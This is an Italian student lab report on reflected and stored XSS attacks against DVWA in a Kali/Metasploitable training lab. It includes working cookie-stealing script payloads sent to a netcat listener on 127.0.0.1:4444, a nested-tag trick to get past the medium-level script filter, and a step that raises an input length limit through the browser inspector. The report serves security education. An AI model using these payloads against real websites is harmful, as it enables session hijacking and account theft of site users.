EPICODE

Progetto S6 – L5

TRACCIA

Lo scopo dell'esercizio è quello di usare l’attacco XSS reflected per rubare i cookie di sessione alla macchina DVWA, tramite uno script. Dobbiamo creare una situazione in cui abbiamo una macchina vittima (DVWA), che cliccherà sul link malevolo (XSS), e una macchina che riceve i cookie, nel nostro caso creiamo una sessione aperta con NetCat.  
Potete usare qualsiasi combinazione, solo Kali, Kali + Metasploitable o altro.  
Inoltre si deve:  
● Spiegare come si comprende che un sito è vulnerabile.  
● Portare l’attacco XSS.  
● Fare un report su come avviene l’attacco con tanto di screenshot.

SOLUZIONE

Cross Site Scripting (XSS):  
Gli attacchi XSS sono una tipologia di attacchi che sfruttano le vulnerabilità di un sito web.  
Tramite un attacco XSS è possibile: modificare il contenuto di un sito al momento della visualizzazione; iniettare contenuti malevoli; rubare i cookie, e conseguentemente le sessioni lecite degli utenti; eseguire operazioni sulla Web App con i privilegi di un utente amministrativo.  
Gli attori coinvolti sono l’attaccante, la vittima e il sito web vulnerabile visitato da quest’ultima.  
Le vulnerabilità dei siti sono generate da errori nella programmazione del sito stesso. Infatti, quando un sito non viene correttamente filtrato l’input dell’utente è in grado di modificare il codice che genera l’output. L’attaccante può quindi prendere il controllo del codice HTML e Javascript per portare avanti l’attacco a danno degli utenti che visiteranno il sito.  
Spesso l’attacco XSS è fatto in combinazione con l’ingegneria sociale (tramite phishing o altro) per raggiungere un numero maggiore di utenti.

Vulnerabilità dei siti web:  
Per comprendere se un sito web è vulnerabile agli attacchi XSS bisogna inserire del codice dove è possibile scrivere all’interno del sito (barra di ricerca o altro) e vedere se viene eseguito. Ad esempio, si può inserire “<i> hello”, se la scritta “hello” viene visualizzata in corsivo significa che il sito è vulnerabile.  
In alternativa è possibile usare degli appositi tool.

Attacco XSS con report:

Per prima cosa si apre DVWA inserendo nel browser di Kali l’indirizzo ip di Metasploitable (192.168.1.110).  
Si setta la difficoltà su “low” e si apre l’apposita sezione “XSS reflected”.  
A questo punto si deve testare la vulnerabilità del sito web. In questo caso si è prima inserito “hello”, poi si è inserito “<i> hello” e abbiamo così ottenuto “*hello”* scritto in corsivo (seconda immagine). Questo significa che possiamo tentare l’attacco XSS.

Immagine che contiene testo, schermata, Carattere, software

Descrizione generata automaticamente

Immagine che contiene testo, schermata, Carattere, numero

Descrizione generata automaticamente

Segue

L’attacco ha lo scopo di rubare i cookie di sessione a DVWA tramite uno script. Di seguito lo script utilizzato:  
<script>window.location=‘http://127.0.0.1:4444/?cookie=‘ + document.cookie</script>  
Questo script ci permette di indirizzare i cookie di sessione all’ip e alla porta scelta. Utilizzando Netcat ci si mette quindi in ascolto sulla porta 4444. Il risultato dell’attacco è riportato nell’immagine appena sotto.

Immagine che contiene testo, schermata, software, Sito Web

Descrizione generata automaticamente

Si è deciso di provare anche con difficoltà della DVWA impostata su “medium”.  
In questo caso il programmatore ha aggiunto un semplice pattern che non permette “<script>”.  
Per aggirare a questo si è pensato di utilizzare il seguente script:  
<scr<script>ipt>window.location='http://127.0.0.1:4444/?cookie=' + document.cookie</script>  
Il risultato dell’attacco è riportato nell’immagine appena sotto.

Immagine che contiene testo, schermata, software, Sito Web

Descrizione generata automaticamente

Segue

* Bonus.  
  Provate a fare la stessa cosa ma usando l’attacco XSS stored.  
  P.S. Attenzione al numero dei caratteri (50).

Come bonus si è effettuato lo stesso furto di cookie ma con un XSS stored che a differenza del reflected viene eseguito ogni volta che un utente visita la pagina in quanto il codice malevolo viene salvato.

Prima di effettuare il furto di cookie si è utilizzato uno script volto a farli apparire sullo schermo. Questo è stato fatto per rientrare nel massimo di 50 caratteri inseribili in DVWA.

Immagine che contiene testo, schermata, software, Software multimediale

Descrizione generata automaticamente

Ogni script pensato per rubare e indirizzare i cookie sforava i 50 caratteri. Così, ispezionando la pagina, si è deciso di risolvere il problema aumentando direttamente il numero di caratteri inseribili.

Immagine che contiene testo, schermata, software, Software multimediale

Descrizione generata automaticamente

Segue

Grazie a questo è stato possibile inserire nel messaggio lo script utile a rubare e indirizzare i cookie.

Immagine che contiene testo, schermata, Carattere, software

Descrizione generata automaticamente

Ogni volta che si è in ascolto e si accede alla pagina “XSS stored” il codice salvato viene eseguito.

Immagine che contiene testo, schermata, software, Pagina Web

Descrizione generata automaticamente